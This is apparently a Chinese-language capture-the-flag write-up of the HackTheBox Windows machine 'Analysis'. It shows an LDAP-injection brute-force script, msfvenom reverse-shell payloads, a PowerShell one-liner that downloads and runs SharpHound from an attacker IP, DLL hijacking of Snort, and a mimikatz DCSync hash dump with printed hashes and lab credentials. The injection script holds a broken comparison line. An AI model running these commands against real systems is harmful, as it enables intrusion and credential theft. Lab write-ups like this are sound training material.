Zumpyx's Blog

Analysis

Machines#584HardWindows
← Machines

Analysis

Recon & Enum

export IP=10.10.11.250

Nmap

  • Tcp Scan
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-21 02:04:15Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3306/tcp  open  mysql         MySQL (unauthorized)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49705/tcp open  msrpc         Microsoft Windows RPC
49846/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94SVN%I=7%D=1/21%Time=65AC7BC5%P=x86_64-pc-linux-gnu%
...
SF:5\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid
SF:\x20message\"\x05HY000");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -34s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-01-21T02:05:24
|_  start_date: N/A

Smb

Ldap

Rpc

Web -analysis.htb

  • feroxbuster -u http://analysis.htb/ -d 1 发现 bat 目录

image-20240121102914822

  • feroxbuster -u http://analysis.htb/ -d 1 -X bat,txt,aspx,asp

image-20240121103615424

无价值

  • HTML Source Code - analysis.htb

image-20240121103950341

发现用户名：pleazkin

DNS

image-20240121110102419

image-20240121110124047

无 Web 的域名响应 404

image-20240121110143629

发现一个响应 403 的子域

Web - internal.analysis.htb

  • feroxbuster -u http://internal.analysis.htb/ -X php

image-20240122093457275

发现了一些有用的接口

  • /list.php?name=technician)(description= 存在 ldap 注入

image-20240122093619275

  • Fuzz 可用字段

image-20240122094205926

image-20240122093640508

Shell as User - src_web

  • 写个脚本爆破 description
import string
import httpx
from urllib.parse import quote

URL = 'http://internal.analysis.htb/users/list.php?name=technician)(description={}'
DES = ''
strs = string.printable
flag = 1

while flag:
    flag -= 1
    for i in strs:
        if i == strs[-1]:
            flag = 0
        des = DES + i + '*'
        url = URL.format(quote(des))
        res = httpx.get(url)
        print('\r\r[+]', des, res.status_code, len(res.text), flush=True, end='')
        if len(res.text) ！= [406, 8]:
            flag += 1
            break
    DES += i
    print('\r\r[+]', DES)

print(DES)
  • 跑一半停了，发现字符中有 *

image-20240122093923129

  • 尝试登录 - 密码错误

image-20240122094109316

  • 可以看到直接用两个 * 是失败的

image-20240122093943062

  • 但是可以在字符中间插入 *，首先猜测此时的字符为 *

image-20240122094024338

  • 继续枚举
  • 登录成功，technician/97NTtl*4QP96Bv 看到一个沙箱环境

image-20240121194436327

生成 Revese Shell 尝试

msfvenom -p windows/x64/shell_reverse_tcp x86/shikata_ga_nai -i 16 -f exe -o good.exe LHOST=10.10.16.7 LPORT=2233

  • 没什么反应，改成 PHP 马子试试

image-20240121195246260

image-20240121195337657

  • 用 Powershell 反弹个 Shell

image-20240121195543329

  • 查看所有用户

image-20240121195826109

  • 遛一下狗
powershell -c "IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.7/SharpHound.ps1');Invoke-BloodHound -CollectionMethod All"
# 复制到 Web 目录下载
cp 20240121130416_BloodHound.zip C:\inetpub\internal\dashboard\uploads\20240121130416_BloodHound.zip

从 src_web 没啥有价值的路径

  • 跑一下 winpeas
wget http://10.10.16.7/winPEASx64.exe -O winpeas.exe
./winpeas.exe > winpeas.log
cp winpeas.log C:\inetpub\internal\dashboard\uploads\winpeas.zip	# 需要改一下扩展名
  • 发现 Mysql 凭据

image-20240121210857066

db_master/0$TBO7H8s12yh&
  • 发现 ldap 账号

image-20240121202714838

image-20240121202704158

[email protected]/N1G6G46G@G!j

Shell as User - jdoe

  • 发现 jdoe 凭据

image-20240121203802042

jdoe/7y4Z4^*y9Zzj
  • 登录 jdoe

image-20240121203926930

  • 枚举最新写入的文件
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,Length,FullName

image-20240122100445649

一个可疑的日志文件，似乎在周期性的运行

  • Google

image-20240122100703006

可以看到 snort 会先加载 c:\Snort\lib\snort_dynamicpreprocessor 目录下的 dll，然后在加载 c:\Snort\lib\snort_dynamicengine\sf_engine.dll 文件

所以可疑创建 c:\Snort\lib\snort_dynamicpreprocessor\sf_engine.dll 文件来劫持

  • 生成 Reverse Shell msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.7 LPORT=2233 -f dll -o sf_engine.dll 上传

image-20240122101423592

image-20240122101507746

Dump Hash

curl http://10.10.16.7/mimikatz.exe -o m.exe
m.exe "lsadump::dcsync /domain:analysis.htb /all /csv" exit
---
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:analysis.htb /all /csv
[DC] 'analysis.htb' will be the domain
[DC] 'DC-ANALYSIS.analysis.htb' will be the DC server
[DC] Exporting domain 'analysis.htb'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  8549ecd32b0253e9894a422299fe2466        514
1105    cwilliams       ce88373ebd6d687eac0a405734a266aa        66048
1106    technician      ce88373ebd6d687eac0a405734a266aa        66048
1109    wsmith  3da4104738938858384180964346fc6c        66048
1111    lzen    eea7337a28121aab144ca78fed48fc7e        66048
1110    jangel  eea7337a28121aab144ca78fed48fc7e        66048
2103    amanson 5d5b796cd37d9e19d9d1ae10c22ffa78        512
2104    badam   5d5b796cd37d9e19d9d1ae10c22ffa78        512
1104    soc_analyst     d6f020bbee8043520eb569e540913bd4        66048
1000    DC-ANALYSIS$    2ec9198220c4bb7306ba170b7fa007f9        532480
1103    jdoe    190193db2c6c6d69c60cf5af64447ce0        66048
500     Administrateur  584d96946e4ad1ddfa4f8d7938faf91d        66048
2101    svc_web cf74f3b0e86e17fba5051e261b9785b2        66048
1107    webservice      780b446d7d76a85880ce49a387f18642        66048

mimikatz(commandline) # exit
Bye!